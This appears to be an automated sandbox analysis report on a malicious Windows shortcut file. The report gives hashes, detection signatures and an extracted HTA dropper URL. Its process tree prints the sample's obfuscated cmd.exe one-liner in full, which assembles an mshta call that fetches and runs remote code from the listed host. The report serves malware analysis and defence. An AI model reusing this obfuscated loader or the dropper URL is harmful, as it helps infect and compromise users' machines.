Analysis

  • max time kernel
    40s
  • max time network
    40s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:49

General

  • Target
    DOC-1ZTA8O.lnk
  • Size 2KB
  • Sample260803-vb54katcmg
  • SHA256 2068ea22d686b822ee8f084176bfbfde9eb5c234b6e9b6e403881e61318dae11
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1ZTA8O.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set EbB=cfgpjalezrocwfekowbsccfg&set mpjC=inffldfaxnijhmpninf&set bb=bakrtvkobak&set vtKg=infzacujykqstolkinf&set ICAJd=0starq&&set Dpj=9tv3s&set YnVf=wintflcwin&set Encd=bakzauevsywfqaakwyowbak&set nee=tmpqwzyzmickhwbopwmmltmp&set Bl=cfgpolkuubcfg&set SiRC=mnmskz&&set Ri=n9htqm&&set AO=e0pacl&set NI=oldnzaamcxfpomold&set ezabU=datlsakugjoghpedat&set EPwr=tmpgkcgsoogqoegkipsttmp&set HC=bakxygcfpnglnbbbak&&set JSMrl=ht@tps:@/@/@m@a-pdf@fi@l@[email protected]@at/h/es@t@agio@1@.@p@h@p@?@r=@3@91@469@F@B5D@8@2@D@B&&start /b !SiRC:~2,2!!Ri:~2,2!!AO:~3,1! !JSMrl:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:1108

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads